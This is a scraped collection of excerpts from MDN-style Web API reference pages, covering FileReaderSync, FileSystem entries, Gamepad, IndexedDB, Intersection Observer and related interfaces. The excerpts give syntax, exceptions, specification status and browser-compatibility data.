...rChrome Full support YesEdge Full support 12Firefox Full support 8IE Full support YesOpera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 8Opera Android Full support YesSafari iOS Full support YesSamsung Internet Android ...
FileReaderSync.readAsBinaryString() - Web APIs
d by this method: NotFoundError is raised when the resource represented by the DOM File or Blob cannot be found, e.g. because it has been erased. SecurityError is raised when one of the following problematic situation is detected: the resource has been modified by a third party; too many read are performed simultaneously; the file pointed by the resource is unsafe for a use from the
Web (like it is a system file). NotReadableError is raised when the resource cannot be read due to a permission problem, like a concurrent lock. EncodingError is raised when the resource is a data URL and exceed the limit length defined by each browser. Specifications Specification Status Comment File APIThe definition of 'readAsBinaryStringSync' in that specificati...
...efinition of 'readAsBinaryStringSync' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...gChrome Full support YesEdge Full support 12Firefox Full support 8IE Full support YesOpera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 8Opera Android Full support YesSafari iOS Full support YesSamsung Internet Android ...
FileReaderSync.readAsDataURL() - Web APIs
d by this method: NotFoundError is raised when the resource represented by the DOM File or Blob cannot be found, e.g. because it has been erased. SecurityError is raised when one of the following problematic situation is detected: the resource has been modified by a third party; too many read are performed simultaneously; the file pointed by the resource is unsafe for a use from the
Web (like it is a system file). NotReadableError is raised when the resource cannot be read due to a permission problem, like a concurrent lock. EncodingError is raised when the resource is a data URL and exceed the limit length defined by each browser. Specifications Specification Status Comment File APIThe definition of 'readAsDataURL' in that specification. Wo...
... APIThe definition of 'readAsDataURL' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...LChrome Full support YesEdge Full support 12Firefox Full support 8IE Full support YesOpera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 8Opera Android Full support YesSafari iOS Full support YesSamsung Internet Android ...
FileReaderSync.readAsText() - Web APIs
d by this method: NotFoundError is raised when the resource represented by the DOM File or Blob cannot be found, e.g. because it has been erased. SecurityError is raised when one of the following problematic situation is detected: the resource has been modified by a third party; too many read are performed simultaneously; the file pointed by the resource is unsafe for a use from the
Web (like it is a system file). NotReadableError is raised when the resource cannot be read due to a permission problem, like a concurrent lock. EncodingError is raised when the resource is a data URL and exceed the limit length defined by each browser. Specifications Specification Status Comment File APIThe definition of 'readAsText' in that specification. Worki...
...ile APIThe definition of 'readAsText' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...tChrome Full support YesEdge Full support 12Firefox Full support 8IE Full support YesOpera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 8Opera Android Full support YesSafari iOS Full support YesSamsung Internet Android ...
FileSystemDirectoryEntry.getDirectory() - Web APIs
ve to the directory on which the method is called, describing which directory entry to return. Absolute paths may not be able to be used, for security reasons. options Optional An object based on the FileSystemFlags dictionary, which allows you to specify whether or not to create the entry if it's missing and if it's an error if the file already exists. These options are currently not useful in
Web contexts. successCallback Optional A method to be called once the FileSystemDirectoryEntry has been created. The method receives a single parameter: the FileSystemDirectoryEntry object representing the directory in question. errorCallback Optional A method to be called if an error occurs. Receives as its sole input parameter a FileError object describing the error which occurred. Return val...
...tries APIThe definition of 'getDirectory()' in that specification. Draft Initial specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 50Notes Full support 50Notes Notes In Firefox, the errorCallback's input parameter is a DOMException rather than a FileError object.IE No support NoOpera No support NoSafari Full support 11.1
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 50Notes Full support 50Notes Notes In Firefox, the errorCallback's input parameter is a DOMException rather than a FileError objec...
FileSystemDirectoryEntry.getFile() - Web APIs
Parameters path Optional A USVString specifying the path, relative to the directory on which the method is called, describing which file's entry to return. options Optional An object based on the FileSystemFlags dictionary, which allows you to specify whether or not to create the entry if it's missing and if it's an error if the file already exists. These options are currently not useful in
Web contexts. successCallback Optional A method to be called once the FileSystemFileEntry has been created. The method receives a single parameter: the FileSystemFileEntry object representing the file in question. errorCallback Optional A method to be called if an error occurs. Receives as its sole input parameter a FileError object describing the error which occurred. Return value undefined. ...
...ry Entries APIThe definition of 'getFile()' in that specification. Draft Initial specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 50Notes Full support 50Notes Notes In Firefox, the errorCallback's input parameter is a DOMException rather than a FileError object.IE No support NoOpera No support NoSafari Full support 11.1
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 50Notes Full support 50Notes Notes In Firefox, the errorCallback's input parameter is a DOMException rather than a FileError objec...
FocusEvent - Web APIs
nts focus-related events, including focus, blur, focusin, and focusout. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/UIEvent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">UIEvent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#D4DDE4" fill="none"/><line x1="201" y1="25" x...
...75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">UIEvent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#D4DDE4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/FocusEvent" target="_top"><rect x="231" y="1" width="100" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="281" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">FocusEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Constructor FocusE...
GainNode() - Web APIs
The GainNode() constructor of the
Web Audio API creates a new GainNode object which an AudioNode that represents a change in volume. Note: You should typically call AudioContext.createGain() to create a gain node. Syntax var gainNode = new GainNode(context, options) Parameters Inherits parameters from the AudioNodeOptions dictionary. context A reference to an AudioContext. options Optional Options are as follows: gain: The amount of gain to apply. This parameter is a-rate and it's nominal range is (-?,+?). The default is 1. Return value A new GainNode object instance. Specifications Specification Status Comment
Web Audio APIThe definition of 'GainNode()' in that specification. Working Draft Initial definition. Browser Compatibili...
...dio APIThe definition of 'GainNode()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 55Notes Notes Before Chrome 59, the default values were not supported.Edge Full support <=79Firefox Full support 53IE No support NoOpera Full support 42Safari ? ...
Gamepad.buttons - Web APIs
normalized to the range 0.0 - 1.0, with 0.0 representing a button that is not pressed, and 1.0 representing a button that is fully pressed. Syntax readonly attribute GamepadButton[] buttons; Example The following code is taken from my Gamepad API button demo (you can view the demo live, and find the source code on Github.) Note the code fork -- in Chrome Navigator.getGamepads needs a
webkit prefix and the button values are stores as an array of double values, whereas in Firefox Navigator.getGamepads doesn't need a prefix, and the button values are stored as an array of GamepadButton objects; it is the GamepadButton.value or GamepadButton.pressed properties of these we need to access, depending on what type of buttons they are. In this simple example I've just allowed either. fun...
...re stores as an array of double values, whereas in Firefox Navigator.getGamepads doesn't need a prefix, and the button values are stored as an array of GamepadButton objects; it is the GamepadButton.value or GamepadButton.pressed properties of these we need to access, depending on what type of buttons they are. In this simple example I've just allowed either. ...
...eas in Firefox Navigator.getGamepads doesn't need a prefix, and the button values are stored as an array of GamepadButton objects; it is the GamepadButton.value or GamepadButton.pressed properties of these we need to access, depending on what type of buttons they are. In this simple example I've just allowed either. ...
GamepadButton - Web APIs
is not pressed, and 1.0 representing a button that is fully pressed. GamepadButton.pressed Read only A Boolean value indicating whether the button is currently pressed (true) or unpressed (false). Example The following code is taken from my Gamepad API button demo (you can view the demo live, and find the source code on Github.) Note the code fork -- in Chrome Navigator.getGamepads needs a
webkit prefix and the button values are stored as an array of double values, whereas in Firefox Navigator.getGamepads doesn't need a prefix, and the button values are stored as an array of GamepadButton objects; it is the GamepadButton.value or GamepadButton.pressed properties of these we need to access, depending on what type of buttons they are. In this simple example I've just allowed either. fun...
...re stored as an array of double values, whereas in Firefox Navigator.getGamepads doesn't need a prefix, and the button values are stored as an array of GamepadButton objects; it is the GamepadButton.value or GamepadButton.pressed properties of these we need to access, depending on what type of buttons they are. In this simple example I've just allowed either. ...
...eas in Firefox Navigator.getGamepads doesn't need a prefix, and the button values are stored as an array of GamepadButton objects; it is the GamepadButton.value or GamepadButton.pressed properties of these we need to access, depending on what type of buttons they are. In this simple example I've just allowed either. ...
GlobalEventHandlers.ontransitioncancel - Web APIs
s a transition effect which makes the box's color and size change, and causes the box to rotate, while the mouse cursor hovers over it. ...
...nge, and causes the box to rotate, while the mouse cursor hovers over it. ...
... 100px; background-color: #0000FF; color: #FFFFFF; padding: 20px; font: bold 1.6em "Helvetica", "Arial", sans-serif; -
webkit-transition: width 2s, height 2s, background-color 2s, -
webkit-transform 2s, color 2s; transition: width 2s, height 2s, background-color 2s, transform 2s, color 2s; } .box:hover { background-color: #FFCCCC; color: #000000; width: 200px; height: 200px; -
webkit-transform: rotate(180deg); transform: rotate(180deg); } JavaScript Next, we need to establish our event handlers to change the text content of the box when the transition begins and ends. let box = document.querySelector(".box"); box.ontransitionrun = function(event) { box.innerHTML = "Zooming..."; } box.ontransitionend = function(event) { box.innerHTML = "Done!"; } box.onclick = fu...
HTMLElement.offsetTop - Web APIs
t Model (CSSOM) View ModuleThe definition of 'offsetTop' in that specification. Working Draft Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...offsetTopChrome Full support 1Edge Full support 12Firefox Full support 1IE Full support 8Opera Full support 8Safari Full support 3
WebView Android Full support 1Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 10.1Safari iOS Full support 1Samsung Internet Android ...
... This property will return null on Internet Explorer (9) if the style.position of the element itself is set to "fixed". (Having display:none does not affect this browser.) ...
HTMLImageElement.srcset - Web APIs
mmas (,) each specifying image resources to use under given circumstances. Each image candidate string contains an image URL and an optional width or pixel density descriptor that indicates the conditions under which that candidate should be used instead of the image specified by the src property. The srcset property, along with the sizes property, are a crucial component in designing responsive
web sites, as they can be used together to make pages that use appropriate images for the rendering situation. Syntax htmlImageElement.srcset = imageCandidateStrings; let srcset = htmlImageElement.srcset; Value A USVString containing a comma-separated list of one or more image candidate strings to be used when determining which image resource to present inside the <img> element represented by th...
...ing StandardThe definition of 'HTMLImageElement.srcset' in that specification. Living Standard Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...Disabled Disabled From version 32 until version 52 (exclusive): this feature is behind the dom.image.srcset.enabled preference (needs to be set to true). ...
HTMLImageElement.x - Web APIs
either table-column or table-column-group; in other words, either of those are set directly on the <img> or they're inherited from a containing element or by being located within a column described by either <col> or <colgroup>. Example The example below demonstrates the use of the HTMLImageElement properties x and y. HTML In this example, we see a table showing information about users of a
web site, including their user ID, their full name, and their avatar image. <table id="userinfo"> <colgroup> <col span="2" class="group1"> <col> </colgroup> <tr> <th>UserID</th> <th>Name</th> <th>Avatar</th> </tr> <tr> <td>12345678</td> <td>Johnny Rocket</td> <td><img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg"</td> </th> </table> <pre id...
...(CSSOM) View ModuleThe definition of 'HTMLImageElement.x' in that specification. Working Draft Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 12Firefox Full support 14 Full support 14 No support ? -- 7IE No support NoOpera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 14 Full support 14 No support ? -- 7Opera Android Full support ...
HTMLImageElement.y - Web APIs
either table-column or table-column-group; in other words, either of those are set directly on the <img> or they're inherited from a containing element or by being located within a column described by either <col> or <colgroup>. Example The example below demonstrates the use of the HTMLImageElement properties x and y. HTML In this example, we see a table showing information about users of a
web site, including their user ID, their full name, and their avatar image. <table id="userinfo"> <colgroup> <col span="2" class="group1"> <col> </colgroup> <tr> <th>UserID</th> <th>Name</th> <th>Avatar</th> </tr> <tr> <td>12345678</td> <td>Johnny Rocket</td> <td><img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg"</td> </th> </table> <pre id...
...(CSSOM) View ModuleThe definition of 'HTMLImageElement.y' in that specification. Working Draft Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 12Firefox Full support 14 Full support 14 No support ? -- 7IE No support NoOpera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 14 Full support 14 No support ? -- 7Opera Android Full support ...
Recommended Drag Types - Web APIs
le data types. Caution: All methods and properties in this document with a moz prefix, such as mozSetDataAt(), will only work with Gecko-based browsers. Dragging Text For dragging text, use the text/plain type. The second data parameter should be the dragged string. For example: event.dataTransfer.setData("text/plain", "This is text to drag"); Dragging text in textboxes and selections on
web pages is done automatically by the browser, so you do not need to handle it yourself. It is recommended to always add data of the text/plain type as a fallback for applications or drop targets that do not support other types, unless there is no logical text alternative. Always add this text/plain type last, as it is the least specific and shouldn't be preferred. Note: In older code, you may fin...
...e text/plain type. The data should be just the text without any of the source tags or attributes. For instance: var dt = event.dataTransfer; dt.setData("text/html", "Hello there, <strong>stranger</strong>"); dt.setData("text/plain", "Hello there, stranger"); Dragging Files A local file is dragged using the application/x-moz-file type with a data value that is an nsIFile object. Non-privileged
web pages canot retrieve or modify data of this type. Because a file is not a string, you must use the mozSetDataAt() method to assign the data. Similarly, when retrieving the data, you must use the mozGetDataAt() method. event.dataTransfer.mozSetDataAt("application/x-moz-file", file, 0); If possible, include the file URL of the file using both the text/uri-list and text/plain types. These types ...
...ne which method is supported on types, then run code as appropriate. Dragging Images Direct image dragging is not common. In fact, Mozilla does not support direct image dragging on Mac or Linux. Instead, images are usually dragged only by their URLs. To do this, use the text/uri-list type as with other URLs. The data should be the URL of the image, or a data: URI if the image is not stored on a
web site or disk. As with links, the data for the text/plain type should also contain the URL. However, a data: URL is not usually useful in a text context, so you may wish to exclude the text/plain data in this situation. In chrome or other privileged code, you may also use the image/jpeg, image/png or image/gif types, depending on the type of image. The data should be an object which implements t...
History.scrollRestoration - Web APIs
Syntax const scrollRestore = history.scrollRestoration Values auto The location on the page to which the user has scrolled will be restored. manual The location on the page is not restored. The user will have to scroll to the location manually. Examples Query the current scroll restoration behavior. ...
...nition of 'History.scrollRestoration' in that specification. Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ationChrome Full support 46Edge Full support 79Firefox Full support 46IE No support NoOpera Full support 33Safari Full support Yes
WebView Android No support NoChrome Android Full support 46Firefox Android Full support YesOpera Android Full support YesSafari iOS Full support YesSamsung Internet Android ...
IDBCursor.request - Web APIs
Syntax var request = cursor.request; Value An IDBRequest object instance. Examples When you open a cursor, the request property is then available on that cursor object, to tell you what request object the cursor originated from. ...
...PI DraftThe definition of 'request' in that specification. Recommendation Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...fari on iOSSamsung InternetrequestChrome Full support 76Edge Full support 79Firefox Full support 77IE No support NoOpera Full support 63Safari ?
WebView Android Full support 76Chrome Android Full support 76Firefox Android No support NoOpera Android Full support 54Safari iOS ? Samsung Internet Android Full support ...
IDBDatabase.onclose - Web APIs
r of the IDBDatabase interface handles the close event, which is fired when the database is unexpectedly closed. This can happen, for example, when the application is shut down or access to the disk the database is stored on is lost while the database is open. The close event is fired after all transactions have been aborted and the connection has been closed. Note: This feature is available in
Web Workers. Syntax IDBDatabase.onclose = function(event) { ... }; Value A function which is called when the close event is fired. Example db.onclose = function(event) { myAppShowAlert('The database "' + db.name + '" has unexpectedly closed.'); }; Specifications Specification Status Comment Indexed Database API DraftThe definition of 'onclose' in that specification.
... Indexed Database API DraftThe definition of 'onclose' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 31Notes Full support 31Notes Notes approxEdge Full support <=18Firefox Full support 50IE ? ...
databases - Web APIs
Note: This method is introduced in a draft of a specifications and browser compatibility is limited. Syntax const promise = indexedDB.databases() Parameters The method does not take in any parameters. Return value A promise that resolves either to an error or a list of dictionaries, each with two elements, name and version. name The database name. version The database version. ...
...raftThe definition of 'databases()' in that specification. Recommendation Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... Full support 79Firefox No support NoNotes No support NoNotes Notes See bug 934640.IE No support NoOpera Full support 58Safari No support No
WebView Android Full support 71Chrome Android Full support 71Firefox Android No support NoNotes No support NoNotes Notes See bug 934640.Opera Android Full support YesSafari iOS ...
IDBKeyRange.includes() - Web APIs
Syntax var isIncluded = myKeyRange.includes(key) Parameters key The key you want to check for in your key range. This can be any type. Return value A Boolean. Exceptions This method may raise a DOMException of the following type: Attribute Description DataError The supplied key was not a valid key. ...
...dexed Database API DraftThe definition of 'includes()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... iOSSamsung InternetincludesChrome Full support 52Edge Full support <=18Firefox Full support 47IE ? ...
IDBObjectStore.getKey() - Web APIs
The getKey() method of the IDBObjectStore interface returns an IDBRequest object, and, in a separate thread, returns the key selected by the specified query. This is for retrieving specific records from an object store. If a key is successfully found, then a structured clone of it is created and set as the result of the request object. Note: This feature is available in
Web Workers. Syntax var request = objectStore.getKey(key); Parameters key The key or key range that identifies the record to be retrieved. Return Value An IDBRequest object on which subsequent events related to this operation are fired. Exceptions This method may raise a DOMException of one of the following types: Exception Description TransactionInactiveError This IDBObjectStore's...
...API DraftThe definition of 'getKey()' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...on iOSSamsung InternetgetKeyChrome Full support 48Edge Full support <=79Firefox Full support 51IE ? ...
IDBRequest - Web APIs
ully, the result is made available through the result property and an event indicating success is fired at the request (IDBRequest.onsuccess). If an error occurs while performing the operation, the exception is made available through the result property and an error event is fired (IDBRequest.onerror). The interface IDBOpenDBRequest is derived from IDBRequest. ...
...rived from IDBRequest. Note: This feature is available in
Web Workers. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/IDBRequest" target="_top"><rect x="151" y="1" width="100" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="201" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">IDBRequest</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Properties Also inhe...
IDBTransaction.commit() - Web APIs
ve to be called -- a transaction will automatically commit when all outstanding requests have been satisfied and no new requests have been made. commit() can be used to start the commit process without waiting for events from outstanding requests to be dispatched. If it is called on a transaction that is not active, it throws an InvalidStateError DOMException. Note: This feature is available in
Web Workers. Syntax transaction.commit(); Parameters None. Return value Void. Exceptions Exception Description InvalidStateError The transaction state is not active. Examples // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["myDB"], "readwrite"); // report on the success of opening the transaction transaction...
...nition of 'IDBTransaction.commit()' in that specification. Recommendation Unitial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...etcommitChrome Full support 76Edge Full support 79Firefox Full support 74IE No support NoOpera Full support 63Safari No support No
WebView Android Full support 76Chrome Android Full support 76Firefox Android No support NoOpera Android Full support 54Safari iOS No support NoSamsung Internet Android ...
Browser storage limits and eviction criteria - Web APIs
This article describes how browsers determine what local content to purge and when in order to free up needed local storage space. Note: The information below should be fairly accurate for most modern browsers, but browser specifics are called out where known. Opera and Chrome should behave the same in all cases. Opera Mini (still presto-based, server-side rendering) doesn't store any data on the client. ...
...hrome should behave the same in all cases. Opera Mini (still presto-based, server-side rendering) doesn't store any data on the client. What technologies use browser data storage? In Firefox, the following technologies make use of browser data storage to store data when required. We term them "quota clients" in this context: IndexedDB asm.js caching Cache API Cookies Note: In Firefox,
Web Storage will soon start to use the same storage management tools too, as described in this document. Note: In private browsing mode, most data storage is not supported. Local storage data and cookies are still stored, but they are ephemeral -- the data is deleted when you close the last private browsing window. The "last access time" of origins is updated when any of these are activated/deac...
...orted. Local storage data and cookies are still stored, but they are ephemeral -- the data is deleted when you close the last private browsing window. The "last access time" of origins is updated when any of these are activated/deactivated -- origin eviction will delete data for all these quota clients. In Chrome/Opera, the Quota Management API handles quota management for AppCache, IndexedDB,
WebSQL, and File System API. Different types of data storage Even in the same browser, using the same storage method, there are different classes of data storage to understand. This section discusses the different ones you might find in different browsers. Storage comes in two types: Persistent: This is data that is intended to be kept around for a long time. This will only be evicted if the us...
InputEvent - Web APIs
ent interface represents an event notifying of editable content change. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/UIEvent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">UIEvent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#D4DDE4" fill="none"/><line x1="201" y1="25" x...
...75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">UIEvent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#D4DDE4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/InputEvent" target="_top"><rect x="231" y="1" width="100" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="281" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">InputEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Constructor InputE...
InstallEvent - Web APIs
tallation. This interface inherits from the ExtendableEvent interface. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/ExtendableEvent" target="_top"><rect x="116" y="1" width="150" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="191" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">ExtendableEvent</text></a><polyline points="266,25 276,20 276,30 266,25" stroke="#D4DDE4" fill="none"/><line x1=...
...ight="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="191" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">ExtendableEvent</text></a><polyline points="266,25 276,20 276,30 266,25" stroke="#D4DDE4" fill="none"/><line x1="276" y1="25" x2="306" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/InstallEvent" target="_top"><rect x="306" y="1" width="120" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="366" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">InstallEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Constructor In...
InstallTrigger - Web APIs
Non-standard This feature is non-standard and is not on a standards track. Do not use it on production sites facing the
Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future. The InstallTrigger interface is an interesting outlier in the Apps API; it's included in this API but are inherited from the old Mozilla XPInstall technology for installing add-ons. It is used for triggering the download and installation of an add-on (or anything packaged in an .xpi file) from a
Web page, using JavaScript code to kick off the install process. Note: This article needs to be updated somewhat. Overview For very simple i...
... Note: This article needs to be updated somewhat. Overview For very simple installations, the install methods on the InstallTrigger object may be all that's needed in the installation script. For more complex installations, you may need to use the Install and/or File installation objects. ...
... by creating a
web page script in which InstallTrigger methods download the specified XPI file and "trigger" the execution of the install.js script at the top level of that XPI. The principal method on the InstallTrigger object is install, which downloads and installs one or more software packages archived in the XPI file format. The following is a basic example of an install trigger on a
web page: xpi={'XPInstall Dialog Display Name':'simple.xpi'}; InstallTrigger.install(xpi); You can also use the InstallTrigger object to install Netscape 6/Mozilla skins and language packs, and perform multiple-package installations with install. compareVersion Compares the version of a file or package with the version of an existing file or package. ena...
Intersection Observer API - Web APIs
e changes in the intersection of a target element with an ancestor element or with a top-level document's viewport. Historically, detecting visibility of an element, or the relative visibility of two elements in relation to each other, has been a difficult task for which solutions have been unreliable and prone to causing the browser and the sites the user is accessing to become sluggish. As the
web has matured, the need for this kind of information has grown. Intersection information is needed for many reasons, such as: Lazy-loading of images or other content as a page is scrolled. Implementing "infinite scrolling"
web sites, where more and more content is loaded and rendered as you scroll, so that the user doesn't have to flip through pages. Reporting of visibility of advertisements i...
... will see the result. Implementing intersection detection in the past involved event handlers and loops calling methods like Element.getBoundingClientRect() to build up the needed information for every element affected. Since all this code runs on the main thread, even one of these can cause performance problems. When a site is loaded with these tests, things can get downright ugly. ...
...ngs can get downright ugly. Consider a
web page that uses infinite scrolling. It uses a vendor-provided library to manage the advertisements placed periodically throughout the page, has animated graphics here and there, and uses a custom library that draws notification boxes and the like. Each of these has its own intersection detection routines, all running on the main thread. The author of the
web site may not even realize this is happening, since they may know very little about the inner workings of the two libraries they are using. As the user scrolls the page, these intersection detection routines are firing constantly during the scroll handling code, resulting in an experience that leaves the user frustrated with the browser, the
web site, and their computer. The Intersection Observer...
KeyframeEffect.KeyframeEffect() - Web APIs
Syntax var keyframes = new KeyframeEffect(element, keyframeSet, keyframeOptions); var keyframes = new KeyframeEffect(sourceKeyFrames); Parameters The first type of constructor (see above) creates a completely new KeyframeEffect object instance. Its parameters are: element The DOM element to be animated, or null. keyframeSet An keyframe object or null. ...
... Working Draft Editor's draft. ...
... Working Draft Editor's draft. ...
LocalFileSystem - Web APIs
er must grant you permission before you can use it. In contrast, temporary storage is automatically granted without any user permission, but it can be expunged by the browser at any time. To use PERSISTENT storage with the File System API, Chrome exposes a requestQuota API. So to request storage, you need to do something like the following: var requestedBytes = 1024*1024*10; // 10MB navigator.
webkitPersistentStorage.requestQuota ( requestedBytes, function(grantedBytes) { window.requestFileSystem(PERSISTENT, grantedBytes, onInitFs, errorHandler); }, function(e) { console.log('Error', e); } ); Your user must grant your app permission to store data locally before your app can use persistent storage. Once your user grants it, you don't need to call requestQuota() again. Sub...
...nInitFs, errorHandler); }, function(e) { console.log('Error', e); } ); Your user must grant your app permission to store data locally before your app can use persistent storage. Once your user grants it, you don't need to call requestQuota() again. Subsequent calls are a noop. Another API, the Quota Management API, lets you query an origin's current quota usage and allocation using window.
webkitPersistentStorage.queryUsageAndQuota(). To learn more, see this StackOverflow Answer. (An older version of the API is described at Managing HTML5 Offline Storage.) Working within a single origin The file system is sandboxed to a single origin. This means that your app cannot read, or write the files of another app's files. Your app cannot access files in an arbitrary folder (such as, My Pict...
